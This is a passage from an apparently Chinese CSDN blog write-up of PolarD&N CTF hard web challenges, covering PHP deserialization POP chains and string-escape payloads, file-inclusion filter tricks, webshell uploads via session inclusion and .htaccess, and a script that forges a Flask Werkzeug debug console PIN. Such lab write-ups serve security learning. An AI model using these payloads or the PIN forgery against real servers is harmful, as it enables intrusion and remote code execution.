PolarD&N-CTF-web方向-困难_polard&n 没人能拒绝猫猫 ctf(2)

文章详细描述了解析PHP代码中的安全漏洞,如序列化、文件包含、字符逃逸等技巧,以及如何构造payload来获取flag。涉及到了多个PHP技术与安全概念,展示了从网络渗透到实际攻击的步骤。
摘要由CSDN通过智能技术生成

横线中共20个字符,可以用四个phtml进行字符串逃逸,所以这样构造应该就能出答案了。那么我们构造payload:

?passwd=;s:6:passwd;i:1;s:4:“sign”;s:6:“ytyyds”;}

name=phtmlphtmlphtmlphtml

然后就在源码中找到了flag。

0x04 苦海(困难)

<?php
/*
PolarD&N CTF
*/
error_reporting(1);

class User
{
    public $name = 'PolarNight';
    public $flag = 'syst3m("rm -rf ./*");';

    public function __construct()
    {
        echo "删库跑路,蹲监狱~";
    }

    public function printName()
    {
        echo $this->name;
        return 'ok';
    }

    public function __wakeup()
    {
        echo "hi, Welcome to Polar D&N ~ ";
        $this->printName();
    }

    public function __get($cc)
    {
        echo "give you flag : " . $this->flag;
    }
}

class Surrender
{
    private $phone = 110;
    public $promise = '遵纪守法,好公民~';

    public function __construct()
    {
        $this->promise = '苦海无涯,回头是岸!';
        return $this->promise;
    }

    public function __toString()
    {
        return $this->file['filename']->content['title'];
    }
}

class FileRobot
{
    public $filename = 'flag.php';
    public $path;

    public function __get($name)
    {
        $function = $this->path;
        return $function();
    }

    public function Get_file($file)
    {
        $hint = base64_encode(file_get_contents($file));
        echo $hint;
    }

    public function __invoke()
    {
        $content = $this->Get_file($this->filename);
        echo $content;
    }
}

if (isset($_GET['user'])) {
    unserialize($_GET['user']);
} else {
    $hi = new  User();
    highlight_file(__FILE__);
}

反序列化,直接找pop链。结尾应该是hint出来。所以能看到的pop链应该是:

User::wakeup()->printname()->Surrender::toString()->FileRobot::get()->invoke()->Get_file()

那么我们就直接开始构造。在写本题时我学会了使用一个类时,调用类中不存在的变量以达到实现get()的调用。比如说:

让file[‘filename’]=new FileRobot()这样就可以实现get的调用了。

这里可以使用url编码,因为中间有一个private的属性。或者在payload中更改不可见字符为%00也可以,但是flag不在当前目录,wp说flag在上一级目录,那么我们payload中要读取的是…/flag.php就可以了。所以最终的payload:

?user=O:4:“User”:2:{s:4:“name”;O:9:“Surrender”:3:{s:16:“%00Surrender%00phone”;i:110;s:7:“promise”;s:30:“苦海无涯,回头是岸!”;s:4:“file”;a:1:{s:8:“filename”;O:9:“FileRobot”:2:{s:8:“filename”;s:8:“flag.php”;s:4:“path”;O:9:“FileRobot”:2:{s:8:“filename”;s:11:“…/flag.php”;s:4:“path”;N;}}}}s:4:“flag”;s:21:“syst3m(“rm -rf ./*”);”;}

然后获得了base64加密的flag,我们拿去解密就是答案了。

0x05 网站被黑(困难)

进题是个啥也不是的东西:

然后就是找线索,源码、dirsearch啥也没有。我们去看看抓包发包:

在发包的数据中找到了Hint,拿去解密发现解不出来。然后就去找了misc师傅解了一下,发现是base32加密的子域名,解密后是:/n0_0ne_f1nd_m3/

进入访问找到了源码:

第一个text就用php://input进行绕过。

第二个file是文件包含,php文件会被执行,然后file那里由于不能用base加密、data协议、write方法。我们就只能用convert.iconv尝试。发现是错的。

之后用了另一个新的方法:

convert.quoted-printable-encode

以打印字符的方式输出,用所有能用ascii表表示的字符打印。所以最终的构造payload:

然后就得到了flag。

0x06 毒鸡汤(困难)

进题是一个很有意思的鸡汤语录:

正常信息搜集就行,然后dirsearch发现了/www.zip,其他都可以在里面看到的。然后robots里面提示是hint,hint提示如下:

发现flag在根目录里面,我们接着在这里看看index.php的源码:

发现有一个readfile的参数可以直接将flag包含出来,payload:

?readfile=/flag

然后就得到了flag。

0x07 Unserialize_Escape(困难)

源码如下:

字符数量增加的字符串溢出,我们的目的是让其中的1元素为123456。拿去phpstorm构造一下先:

然后发现由于是数组类型的,那么需要伪造的应该是:

";i:1;s:6:“123456”;}

共20个字符,我们只需要在前面放上20个x变成20个yy。这样就能达成溢出的目的。字符串变多溢出的原理,就是由于序列化时那个s:后面的长度记录数字是根据没替换的字符串来的。也就是说我们后面伪造的东西多长,就让他溢出多少个字符。这样前面s:只会读取替换后的字符。而伪造的字符串就会变成我们需要的东西。详情可见Leekos师傅文章:

php反序列化字符逃逸_php反序列化逃逸-CSDN博客

然后进去当payload:

然后就得到了flag。

0x08 safe_include(困难)

进题看看源码,session包含:

用正常的session文件包含的思路:

先看看有没有回显,payload:

?xxs=/tmp/sess_c09rj3olg7f3n1dli2417eh616

文件包含成功了,然后我试着先上传一句话木马,然后访问网页包含,然后再连接蚁剑发现失败了。原因是因为最后一句话:他最后一句话说明包含之后文件内容会被改为你最后上传的下一句语句,所以我们成功上传之后不能再次传参访问。或者就是直接用bp抓包截断访问。我选择直接上传一句话木马,然后利用xxs=/tmp/sess_c09rj3olg7f3n1dli2417eh616进行连接。果然连上了:

然后在根目录找到了flag。

0x09 自由的文件上传系统(困难)

进题看见文件上传:

然后上传文件,进入查看的时候就会发现文件名被修改为数字、类型是图片形式。所以我们只能用文件包含。从源码或者主页的房子点一下,可以看到一个子域名:

/sectet_include.php?file=index.html

说明这是可以包含的。然后用文件随便上传一个一句话木马,而且重要的是路径。因为路径一开始错了,我去看了眼wp,原来是因为多加了一个"/"导致无法回显。

然后上传一句话木马发现他会将?变成!。那么我们上传不需要问号的php一句话木马:

然后直接蚁剑连上。发现当前目录有个假的flag,真的flag在根目录:

然后就得到了flag。

0x0A flask_pin(困难)

说实话这题进题没有什么思路,但是用dirsearch和源码找到了**/file/console**。其中/console是控制台的意思。我们进入访问:

然后发现需要一个pin值,我用了好多正常方法都没用。这题是一个新的知识点,flask-debug中的pin值生成。每个机器都会有相同的pin码,所以要进行解密。具体意思和操作可见文章:

Flask debug pin安全问题 - 先知社区

根据文章意思,我们一共需要六个值:

# username
# modname
# getattr(app, '__name__', getattr(app.__class__, '__name__')) 
# getattr(mod, '__file__', None),
# str(uuid.getnode()),  /sys/class/net/eth0/address
# get_machine_id(), /etc/machine-id、/proc/self/cgroup

前三个值一般都是固定的,分别为root、flask.app、Flask。第四个值是绝对路径,在debug报错中有,第五个是**/sys/class/net/eth0/address**这个用file读取,第六个也是一样的file读取。然后在题目中实践,第五个值是一个十六进制:

把他转换为十进制,然后第六个值是先读取第一个文件,再读取第二个文件,然后将二者拼接起来。这个问题在wp中有,也可见文章:Werkzeug更新带来的Flask debug pin码生成方式改变-腾讯云开发者社区-腾讯云

然后我们进行读取。

机器码:

这个freezer后docker的后面一串就是我们需要的:

构造后的脚本如下:

import hashlib
from itertools import chain
probably_public_bits = [
    'root',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),绝对路径
]

private_bits = [
    '2485376925256',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'c31eea55a29431535ff01de94bdcf5cf68586ce0a884092f32452633ffd1b2a66778a4c7616c94f7e70e8ce4e32cdb41'# get_machine_id(), /etc/machine-id  加上  /proc/self/cgroup 两个值拼接
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

获得了pin码,其中要注意:每一个环境的pin码都是不同的,需要再次操作。然后进入了控制台,在控制台中使用os命令的popen进行flag的读取:

然后就得到了flag。

0x0B 上传(困难)

进题是一个文件上传题:

随便手动fuzz一下,发现后缀php还有一系列后缀被过滤,就上传jpg就行。然后尝试一下.user.ini后门:

发现不能包含file的内容。那我们试一下.htaccess的后门:

上传成功了,然后我们上传一下shell.jpg,内容方面的<?被过滤了,那就用无问号的php标签头:

,然后访问一下/upload/shell.jpg:

发现被执行了,进入蚁剑连接,发现执行不了。

原因应该是php7以上的版本,不能再这么使用php标签头了。再去网上找了别的wp。发现说可以用utf-16进行绕过<?的检测。但是我尝试了不行,于是又看到一个说可以用后门读取base64的方法:

然后用base64加密后的一句话木马上传,发现虽然有回显,但是已经被读取了,而且可以连接蚁剑了,然后在根目录找到了flag。

0x0C veryphp(困难)

这题进题是一个正则:

可以看到我们需要传入一个shaw_root,但是_被过滤了,我们用没过滤的"["或者空格进行_的绕过。然后传入一个匹配正则表达的长度为29的字符串,用gpt帮忙了一下:

然后构造出来如下,所以payload:

shaw root=-a911111111>>>>aabcphp@Rs2

学习路线:

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
在这里插入图片描述

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 25
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值